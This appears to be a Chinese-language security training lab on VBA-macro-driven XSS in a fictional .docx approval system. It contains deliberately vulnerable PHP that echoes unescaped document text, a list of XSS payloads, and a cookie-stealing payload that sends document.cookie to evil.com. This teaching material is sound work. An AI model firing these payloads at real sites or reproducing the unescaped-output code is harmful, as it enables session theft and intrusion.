◈ 渗透任务
Office 文档宏注入攻击验证
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
DocFlow 企业文档审批系统 (docs.docflow.example.com)
委托方
DocFlow 处理用户上传的 .docx 文件,系统自动提取文档内容并展示。攻击者可能利用 VBA 宏注入 XSS payload
任务目标
构造包含恶意宏的 Word 文档,当文档内容被提取展示时触发 XSS
- 理解 .docx 中 VBA 宏的存储结构
- 构造包含 XSS payload 的文档内容
VBA Macro XSS
攻击原理
Office 文档中的 VBA 宏可以修改文档内容。当文档上传到服务端后,系统提取文档内容并渲染为 HTML 展示给用户。如果宏在文档内容中注入了恶意 HTML/JS 代码,而服务端未对提取的内容进行转义,就会触发 XSS。
核心原理:VBA 宏可以在文档保存前自动执行(AutoOpen、Document_Open),将恶意 HTML 标签写入文档正文。当服务端提取文档内容并直接渲染为 HTML 时,这些标签会被浏览器解析执行。
VBA 宏在 .docx 中的存储结构
document.docx (ZIP)
├── [Content_Types].xml
├── _rels/
│ └── .rels
├── word/
│ ├── document.xml ← 主文档内容
│ ├── vbaProject.bin ← VBA 宏项目(OLE 格式)
│ ├── vbaData.xml ← VBA 数据
│ ├── styles.xml
│ ├── _rels/
│ │ └── document.xml.rels
│ └── media/
├── word/vbaProject.bin (OLE)
│ ├── VBA/
│ │ ├── ThisDocument ← 文档事件代码
│ │ ├── Module1 ← 自定义宏模块
│ │ └── _VBA_PROJECT ← VBA 项目信息
│ └── PROJECT ← 项目引用
└── docProps/
宏自动执行触发器
| 触发器 | 说明 | 用途 |
|---|---|---|
AutoOpen |
文档打开时自动执行 | 注入恶意内容 |
Document_Open |
Document 对象事件 | 等同 AutoOpen |
AutoClose |
文档关闭时执行 | 延迟触发 |
Document_Close |
关闭事件 | 延迟触发 |
AutoNew |
新建文档时执行 | 模板攻击 |
VBA 宏注入 XSS 的流程
' VBA 宏代码示例 - AutoOpen 触发
Sub AutoOpen()
' 当文档打开时,宏自动将 XSS payload 写入文档正文
Dim xssPayload As String
xssPayload = "<img src=x onerror=alert(document.cookie)>"
' 清空文档内容并注入恶意 HTML
ActiveDocument.Content.Text = ""
' 写入包含 XSS 的内容
' 服务端提取此内容后直接渲染为 HTML
ActiveDocument.Content.InsertAfter _
"<p>正常审批内容</p>" & xssPayload
End Sub
服务端漏洞代码
<?php
// DocFlow 系统 - 文档内容提取模块
$zip = new ZipArchive();
$zip->open($uploaded_file);
$xml = $zip->getFromName('word/document.xml');
// 解析 XML 提取文本
$doc = new DOMDocument();
$doc->loadXML($xml);
// 提取文本节点并拼接 HTML
$html = '';
foreach ($doc->getElementsByTagName('t') as $node) {
$html .= $node->textContent;
}
// 漏洞: 直接输出未转义的内容
echo '<div class="doc-preview">' . $html . '</div>';
// 如果文本中包含 <img onerror=...> 就会触发 XSS
?>
攻击向量对比
| 向量 | Payload | 触发条件 |
|---|---|---|
| img onerror | <img src=x onerror=alert(1)> |
渲染 HTML 时 |
| svg onload | <svg onload=alert(1)> |
渲染 HTML 时 |
| script 标签 | <script>alert(1)</script> |
innerHTML 插入时 |
| 事件处理器 | <body onload=alert(1)> |
DOM 解析时 |
| details ontoggle | <details open ontoggle=alert(1)> |
渲染 HTML 时 |
服务端提取与渲染流程
用户上传 .docx
↓
服务端解压 ZIP
↓
提取 word/document.xml
↓
解析 XML 获取文本节点
↓
拼接为 HTML(未转义)
↓
渲染到页面 → XSS 触发!
◈ 练习:VBA Macro XSS
目标:模拟 DocFlow 系统提取 .docx 文档内容后直接渲染为 HTML 的场景。编辑下方的"提取内容",注入 XSS payload,使其在预览区域触发。
VBA 宏代码(模拟宏注入过程):
Sub AutoOpen()
' 宏在文档打开时自动执行
' 将 XSS payload 注入文档正文
Dim payload As String
' ---- 在此修改 payload ----
payload = "<img src=x onerror=alert('XSS')>"
' 写入文档内容
ActiveDocument.Content.InsertAfter payload
End Sub
快捷 Payload 模板:
img onerror
<img src=x onerror=alert('XSS')>
svg onload
<svg onload=alert('XSS')>
script 标签
<script>alert('XSS')</script>
details ontoggle
<details open ontoggle=alert('XSS')><summary>click</summary></details>
Cookie 窃取
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
◈ 安全过滤状态:
- HTML 标签过滤 -- 未启用
- 事件处理器过滤 -- 未启用
- 输出编码/转义 -- 未执行
- Content-Security-Policy -- 未配置
- 宏执行策略 -- 禁用宏(但文档内容已被修改)
◈ 查看漏洞源码 (服务端文档提取)
<?php
// DocFlow 文档审批系统 - 文档内容提取模块
// 从上传的 .docx 文件中提取文本内容并渲染为 HTML 预览
$uploaded_file = $_FILES["document"]["tmp_name"];
// 解压 .docx 提取 word/document.xml
$zip = new ZipArchive();
$zip->open($uploaded_file);
$xml_content = $zip->getFromName("word/document.xml");
$zip->close();
// 解析 XML 提取文本节点
$doc = new DOMDocument();
$doc->loadXML($xml_content);
$body = $doc->getElementsByTagName("body")->item(0);
// 将段落转换为 HTML(漏洞所在:直接拼接未转义的内容)
$html_content = "";
foreach ($body->getElementsByTagName("p") as $para) {
$text = "";
foreach ($para->getElementsByTagName("t") as $t) {
$text .= $t->textContent;
}
$html_content .= "<p>" . $text . "</p>"; // 未转义!
}
// 渲染文档预览
echo '<div class="doc-preview">' . $html_content . '</div>';
?>